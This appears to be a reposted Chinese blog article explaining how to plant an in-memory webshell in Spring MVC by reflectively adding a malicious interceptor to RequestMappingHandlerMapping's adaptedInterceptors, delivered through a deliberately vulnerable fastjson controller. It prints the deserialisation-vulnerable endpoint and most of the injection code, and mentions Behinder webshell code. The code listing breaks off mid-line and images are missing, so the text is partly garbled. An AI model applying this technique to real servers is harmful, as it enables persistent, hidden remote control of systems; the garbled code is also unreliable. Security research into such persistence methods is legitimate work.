想不到!Spring MVC 攔截器也有漏洞。。
點(diǎn)擊關(guān)注公眾號(hào),Java干貨及時(shí)送達(dá)
1 基礎(chǔ)攔截器和調(diào)用流程的探索
學(xué)習(xí)、探索和實(shí)現(xiàn)過(guò)程很多都基于大佬的文章:
https://landgrey.me/blog/19/
https://landgrey.me/blog/12/
1.1 基礎(chǔ)攔截器
前不久實(shí)現(xiàn)cotroller內(nèi)存馬能添加冰蝎代碼后,又想到spring mvc的攔截器應(yīng)該也可以用于注入內(nèi)存馬,目前的關(guān)鍵點(diǎn)在于找到攔截器是如何被觸發(fā)以及如何動(dòng)態(tài)添加攔截器
首先來(lái)寫(xiě)個(gè)正常的攔截器TestInterceptor類(lèi),并添加xml配置


然后啟動(dòng)程序,在訪問(wèn)/home/index,并添加code參數(shù)彈個(gè)計(jì)算器

1.2 探索攔截器的調(diào)用鏈
斷點(diǎn)打在TestInterceptor類(lèi)中,調(diào)試看看調(diào)用鏈
preHandle:31,?TestInterceptor?(bitterz.interceptors)
applyPreHandle:134,?HandlerExecutionChain?(org.springframework.web.servlet)
doDispatch:956,?DispatcherServlet?(org.springframework.web.servlet)
doService:895,?DispatcherServlet?(org.springframework.web.servlet)
processRequest:967,?FrameworkServlet?(org.springframework.web.servlet)
doGet:858,?FrameworkServlet?(org.springframework.web.servlet)
service:621,?HttpServlet?(javax.servlet.http)
service:843,?FrameworkServlet?(org.springframework.web.servlet)
service:728,?HttpServlet?(javax.servlet.http)
internalDoFilter:305,?ApplicationFilterChain?(org.apache.catalina.core)
doFilter:210,?ApplicationFilterChain?(org.apache.catalina.core)
invoke:222,?StandardWrapperValve?(org.apache.catalina.core)
invoke:123,?StandardContextValve?(org.apache.catalina.core)
invoke:472,?AuthenticatorBase?(org.apache.catalina.authenticator)
invoke:171,?StandardHostValve?(org.apache.catalina.core)
invoke:99,?ErrorReportValve?(org.apache.catalina.valves)
invoke:947,?AccessLogValve?(org.apache.catalina.valves)
invoke:118,?StandardEngineValve?(org.apache.catalina.core)
service:408,?CoyoteAdapter?(org.apache.catalina.connector)
process:1009,?AbstractHttp11Processor?(org.apache.coyote.http11)
process:589,?AbstractProtocol$AbstractConnectionHandler?(org.apache.coyote)
run:312,?JIoEndpoint$SocketProcessor?(org.apache.tomcat.util.net)
runWorker:1142,?ThreadPoolExecutor?(java.util.concurrent)
run:617,?ThreadPoolExecutor$Worker?(java.util.concurrent)
run:745,?Thread?(java.lang)
推薦一個(gè) Spring Boot 基礎(chǔ)教程及實(shí)戰(zhàn)示例:
https://github.com/javastacks/spring-boot-best-practice
關(guān)鍵點(diǎn)在doDispatch方法,先通過(guò)getHandler方法獲取了mappedHandler對(duì)象

在后方調(diào)用mappedHandler的applyPreHandler方法

這個(gè)方法中就是依次調(diào)用每個(gè)interceptor實(shí)例的preHandle方法,實(shí)際上就進(jìn)入了前面寫(xiě)好的TestInterceptor類(lèi)的preHandle方法中。

1.3 探索攔截器是如何被添加的
跟蹤mappedHandler的獲取過(guò)程,先是調(diào)用了org.springframework.web.servlet.DispatcherServlet中的getHandler方法

跟進(jìn)getHandler方法,這里會(huì)遍歷this.handlerMappings,獲取HandlerMapping的實(shí)例,再調(diào)用getHandler方法

這里斷點(diǎn)跟進(jìn)getHandler函數(shù)處,會(huì)發(fā)現(xiàn)實(shí)際上調(diào)用了org.springframework.web.servlet.handler.AbstractHandlerMapping類(lèi)中的getHandler方法。最新面試題整理好了,點(diǎn)擊Java面試庫(kù)小程序在線刷題。

再跟進(jìn)getHandlerExecutionChain方法,發(fā)現(xiàn)其中會(huì)遍歷adaptedInterceptors這數(shù)組,并判斷獲取的interceptor實(shí)例是不是MappedInterceptor類(lèi)的實(shí)例對(duì)象,而MappedInterceptor類(lèi)就是對(duì)攔截器HandlerInterceptor接口的實(shí)現(xiàn),所以前面定義的TestInterceptor自然會(huì)被加入chain中并返回

至此,攔截器的加載和調(diào)用流程就清楚了, 動(dòng)態(tài)添加攔截器的話,只需要在org.springframework.web.servlet.handler.AbstractHandlerMapping類(lèi)的實(shí)例對(duì)象的adaptedInterceptors數(shù)組中添加惡意interceptor實(shí)例對(duì)象即可!
那么關(guān)鍵就在于找到org.springframework.web.servlet.handler.AbstractHandlerMapping類(lèi)的實(shí)例對(duì)象,CTRL+ALT+B找到所有AbstractHandlerMapping的子類(lèi),并在beanFactory的beanDefinitionNames中找到它的實(shí)例org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping

因此可以通過(guò)context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping")獲取該對(duì)象,再反射獲取其中的adaptedInterceptors屬性,并添加惡意interceptor實(shí)例對(duì)象即可完成內(nèi)存馬的注入。
點(diǎn)擊關(guān)注公眾號(hào),Java干貨及時(shí)送達(dá)
2 實(shí)踐
首先用springmvc 寫(xiě)了一個(gè)包含fastjson的反序列化漏洞的controller.
????@RequestMapping(value?=?"/postjson",?method?=?RequestMethod.GET)
????public?String?postJson(HttpServletRequest?request){
????????return?"postjson";
????}
????@RequestMapping(value?=?"/readjson",?method?=?RequestMethod.POST)
????public?String?readJson(HttpServletRequest?request){
????????String?jsonStr?=?request.getParameter("jsonstr");
????????System.out.println(jsonStr);??//?在控制臺(tái)輸出jsonStr
????????Object?obj?=?JSON.parseObject(jsonStr);
????????System.out.println(obj);?//?等同于數(shù)據(jù)操作
????????return?"readjson";??//?返回一個(gè)頁(yè)面給用戶(hù)
????}

import?org.springframework.web.context.WebApplicationContext;
import?org.springframework.web.context.request.RequestContextHolder;
import?org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import?javax.servlet.http.HttpServletRequest;
import?javax.servlet.http.HttpServletResponse;
public?class?TestInterceptor?extends?HandlerInterceptorAdapter?{
????public?TestInterceptor()?throws?NoSuchFieldException,?IllegalAccessException,?InstantiationException?{
????????//?獲取context
????????WebApplicationContext?context?=?(WebApplicationContext)?RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT",?0);
????????//?從context中獲取AbstractHandlerMapping的實(shí)例對(duì)象
????????org.springframework.web.servlet.handler.AbstractHandlerMapping?abstractHandlerMapping?=?(org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");
????????//?反射獲取adaptedInterceptors屬性
????????java.lang.reflect.Field?field?=?org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
????????field.setAccessible(true);
????????java.util.ArrayList這里提交兩次payload是為了確認(rèn):不重復(fù)添加interceptor的代碼生效了


可見(jiàn)Interceptor內(nèi)存馬已經(jīng)注入了,現(xiàn)在彈個(gè)計(jì)算器驗(yàn)證一下

作者:bitterz
地址:https://www.cnblogs.com/bitterz/

關(guān)注Java技術(shù)??锤喔韶?/strong>


